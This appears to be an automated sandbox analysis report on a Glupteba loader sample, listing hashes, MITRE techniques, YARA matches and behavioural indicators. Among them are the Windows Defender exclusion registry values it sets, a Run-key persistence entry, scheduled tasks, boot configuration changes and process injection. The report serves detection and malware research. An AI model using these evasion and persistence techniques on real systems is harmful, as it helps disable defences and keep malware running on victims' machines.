glupteba | 8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b

Analysis

max time kernel
142s
max time network
98s
platform
windows7_x64
resource
win7-20220414-en
submitted
20-05-2022 04:23

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General

Target

8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Size

3.5MB
MD5

5635e26c47223e47e3a87856d2e004b5
SHA1

4bcb817e4479f2c78c068c6163bf2ea70283be96
SHA256

8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b
SHA512

fbd79a001807a2853c753219d2ac33f1e86c73cff2ad88e9320b6b4d03a40252d3db327b6a94e3e09102677f01a94d0b6fd32e3182ed0ec15d85e9398f3b8e4e

Score

10^/10

glupteba discovery dropper evasion loader persistence trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 6 IoCs

Processes:

resource	yara_rule
behavioral1/memory/560-56-0x0000000000B25650-mapping.dmp	family_glupteba
behavioral1/memory/560-61-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/560-62-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/1168-65-0x0000000000B25650-mapping.dmp	family_glupteba
behavioral1/memory/1168-77-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba
behavioral1/memory/996-94-0x0000000000400000-0x0000000000B27000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
Executes dropped EXE 4 IoCs

Processes:

csrss.execsrss.exepatch.exe

pid process

1936 csrss.exe
996 csrss.exe
896 patch.exe
1208
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

pid	process
1936	csrss.exe
996	csrss.exe
896	patch.exe
1208

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/560-55-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/560-60-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/560-61-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/560-62-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/1168-77-0x0000000000400000-0x0000000000B27000-memory.dmp	upx
behavioral1/memory/996-94-0x0000000000400000-0x0000000000B27000-memory.dmp	upx

Loads dropped DLL 11 IoCs

Processes:

8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exepatch.exe

pid	process
1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
876
896	patch.exe
896	patch.exe
896	patch.exe
896	patch.exe
896	patch.exe
896	patch.exe
896	patch.exe
896	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\1ad956336ccb.exe = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\1ad956336ccb\1ad956336ccb = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\BillowingSea = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe = "0"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1819626980-2277161760-1023733287-1000\Software\Microsoft\Windows\CurrentVersion\Run\BillowingSea = "\"C:\\Windows\\rss\\csrss.exe\""	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

1788 bcdedit.exe

pid	process
1788	bcdedit.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.execsrss.exe

description	pid	process	target process
PID 968 set thread context of 560	968	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1576 set thread context of 1168	1576	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1936 set thread context of 996	1936	csrss.exe	csrss.exe

Drops file in Windows directory 3 IoCs

Processes:

makecab.exe8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe

description	ioc	process
File created	C:\Windows\Logs\CBS\CbsPersist_20220520044750.cab	makecab.exe
File opened for modification	C:\Windows\rss	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
File created	C:\Windows\rss\csrss.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1200 schtasks.exe
1976 schtasks.exe

pid	process
1200	schtasks.exe
1976	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exenetsh.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.execsrss.exe

pid	process
560	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
1168	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
996	csrss.exe
996	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	560	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Token: SeImpersonatePrivilege	560	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
Token: SeSystemEnvironmentPrivilege	996	csrss.exe

Suspicious use of WriteProcessMemory 42 IoCs

Processes:

8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.execmd.execsrss.execsrss.exe

description	pid	process	target process
PID 968 wrote to memory of 560	968	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 968 wrote to memory of 560	968	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 968 wrote to memory of 560	968	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 968 wrote to memory of 560	968	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 968 wrote to memory of 560	968	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 968 wrote to memory of 560	968	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 968 wrote to memory of 560	968	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 968 wrote to memory of 560	968	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 968 wrote to memory of 560	968	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1576 wrote to memory of 1168	1576	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1576 wrote to memory of 1168	1576	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1576 wrote to memory of 1168	1576	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1576 wrote to memory of 1168	1576	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1576 wrote to memory of 1168	1576	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1576 wrote to memory of 1168	1576	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
PID 1576 wrote to memory of 1168	1576	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe	8f90e7b534454367aa000d1f2b3d9345045904dea5935d950696c5cad170384b.exe
